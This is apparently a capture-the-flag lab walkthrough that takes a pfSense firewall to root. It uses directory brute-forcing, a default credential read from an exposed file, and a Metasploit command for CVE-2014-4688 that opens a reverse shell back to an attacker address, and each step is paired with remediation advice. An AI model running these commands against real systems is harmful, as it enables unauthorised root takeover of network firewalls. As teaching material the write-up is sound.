J. Perez Duertojperezduerto.info
← all walkthroughs

Sense

OpenBSD· Easy
owned
2026-07-03
time to own
8m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I, with no prior knowledge, reached the pfSense firewall management interface directly over the internet, ran a standard web-directory scan that exposed a plaintext credential file, and recovered a working operator password that had never been changed from its factory default. Logged in as that operator, they confirmed the appliance was running firmware from 2014 with a publicly documented command-injection flaw, fired a single Metasploit module, and received a root operating-system shell.

The entire compromise required no cracking, no social engineering, and no insider knowledge — just a wordlist and one public exploit.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for Login>"

Attack path — how the box was taken

1ReconnaissanceService and version scanning (Nmap)
Confirmed the pfSense management portal was reachable from the internet
A port scan against the target showed only TCP 80 and 443 open. Port 80 returned an immediate redirect to HTTPS; the HTTPS landing page was the pfSense webConfigurator login screen, confirming the firewall's own administration portal was directly accessible from the external network with no network-layer restriction in front of it.
Exact commands 2
shell

Quick targeted scan; the service banner on 443 identifies pfSense.

$ nmap -sV -sC -p 80,443 $TARGET
shell

Confirm the webConfigurator is the application on 443.

$ curl -skL https://$TARGET/ | grep -i 'pfSense\|version'
FixUpgrade pfSense to a supported release and restrict management interface access to trusted networks onlyCritical
WeaknessThe appliance ran pfSense 2.1.3-RELEASE (2014), a version with publicly available exploit code for a root command-injection flaw (CVE-2014-4688). The management portal was reachable directly from the internet with no network-layer control in front of it, meaning any internet user could attempt to authenticate.
FixUpgrade to a currently supported pfSense CE or pfSense Plus release immediately. Using pfSense's own firewall rules, restrict access to the webConfigurator (TCP 443) to a dedicated management VLAN or a named set of administrator IP addresses — not the internet. If remote administration is genuinely required, place it behind a VPN so only authenticated VPN users can reach the interface at all. Subscribe to pfSense security advisories and treat any critical patch as a same-week change.
2EnumerationWeb directory and file brute-forcing (gobuster)
Brute-forced the web root and found two sensitive plaintext files
Running a directory brute-force against the HTTPS root with the .txt extension enabled uncovered system-users.txt and changelog.txt. Both files were readable by any unauthenticated visitor. No login was required to download them.
Exact commands 1
shell

The -k flag disables TLS verification for the self-signed certificate; -x txt appends the .txt extension to every probe. Both files appear in the output.

$ gobuster dir -k -x txt -u https://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -o gobuster_out.txt
FixRemove sensitive files from the public web rootHigh
WeaknessPlaintext files containing operator account details and patch history were stored in the HTTPS web root and were accessible to any unauthenticated visitor. A routine wordlist scan was sufficient to locate them.
FixAudit all web-accessible directories on pfSense and any other appliance for files that should not be publicly readable, and delete or relocate them immediately. Implement a default-deny policy for file types that are not part of the application (such as .txt, .bak, .conf). Add a periodic unauthenticated directory scan of appliance management interfaces to the change-management checklist so any regression is caught before deployment.
3Credential AccessExposed credential file / default credentials
Read system-users.txt and obtained a working operator credential
system-users.txt was a configuration note left in the web root. It named the operator account 'rohit' and stated the password had not been changed from the company default. The pfSense factory default password is <withheld>, giving the complete credential pair rohit's password with zero guessing or cracking. changelog.txt confirmed that several patches remained outstanding, hinting at a known exploitable vulnerability.
system-users.txt disclosed username 'rohit' with a note that the company default password was in use. changelog.txt confirmed unpatched issues.
Exact commands 2
shell

Fetch the credential disclosure file; the username and default-password note are in plaintext.

$ curl -sk https://$TARGET/system-users.txt
shell

Fetch the changelog; it confirms outstanding patches and hints at known vulnerabilities.

$ curl -sk https://$TARGET/changelog.txt
FixReplace all default and shared credentials with unique strong passwordsCritical
WeaknessThe operator account 'rohit' used the pfSense factory-default password, which is publicly documented in vendor literature. Once the username was known from the credential file, the account was accessed without any guessing or cracking.
FixChange every management account password on this appliance immediately, using a unique randomly generated passphrase of at least 20 characters. Store credentials in a team password manager rather than plaintext notes. Add a mandatory commissioning step to your device on-boarding procedure that verifies no default credentials remain before a device is connected to any network segment.
4Initial AccessValid account login / web application authentication
Authenticated to the pfSense webConfigurator and confirmed a vulnerable firmware version
The credentials recovered in the previous step were accepted by the pfSense login form. Once authenticated, the dashboard reported the appliance was running pfSense 2.1.3-RELEASE — a version published in 2014 that has multiple public CVEs and has not received security updates for nearly a decade.
Dashboard post-login displayed 'pfSense 2.1.3-RELEASE' confirming the vulnerable version.
Exact commands 2
shell

POST the login form; a 'Logout' link in the response confirms a successful session.

$ curl -sk -c cookies.txt -b cookies.txt -d "login=Login&usernamefld=rohit&passwordfld=$PASSWORD" https://$TARGET/index.php -L | grep -i 'Logout\|version'
shell

Pull the authenticated dashboard and confirm the pfSense version string.

$ curl -sk -b cookies.txt https://$TARGET/index.php | grep -i '2\.1'
5ExploitationAuthenticated OS command injection (CVE-2014-4688 / EDB-43560)
Exploited CVE-2014-4688 authenticated command injection for a root OS shell
PfSense 2.1.3 passes the 'database' parameter in status_rrd_graph_img.php directly to a shell command without sanitisation. The web server process runs as root. Using the rohit account, I injected a reverse-shell payload and received a root-level interactive shell on the underlying FreeBSD operating system. No additional privilege escalation was required — the web process was already root.
CVE-2014-4688 is documented against pfSense 2.1.3-RELEASE. Version confirmed in step 4.
Exact commands 2
shell

Metasploit module for CVE-2014-4688; replace LHOST with your VPN tunnel IP. The module handles TLS and URL encoding automatically.

$ msfconsole -q -x "use exploit/unix/http/pfsense_graph_injection; set RHOSTS $TARGET; set RPORT 443; set SSL true; set USERNAME rohit; set PASSWORD $PASSWORD; set LHOST $ATTACKER_IP; set LPORT 4444; run"
shell

Alternative: start a netcat listener before manually triggering the injection URL documented in EDB-43560 if Metasploit is unavailable.

$ nc -lvnp 4444
6Post-ExploitationFull OS root access / unrestricted file read
Read both flags from the root shell, confirming full system control
The reverse shell connected as uid=0 (root) on FreeBSD. No lateral movement or further escalation was needed. I had unrestricted access to the firewall operating system, its configuration, all credentials stored on the device, and any network segment the firewall routed between.
Exact commands 3
shell

Confirm uid=0 and FreeBSD from within the reverse shell.

$ id && uname -a
shell

Expected output: <user.txt>

$ cat /home/rohit/user.txt
shell

Expected output: <root.txt>

$ cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

Exposed services

80/tcp
443/tcp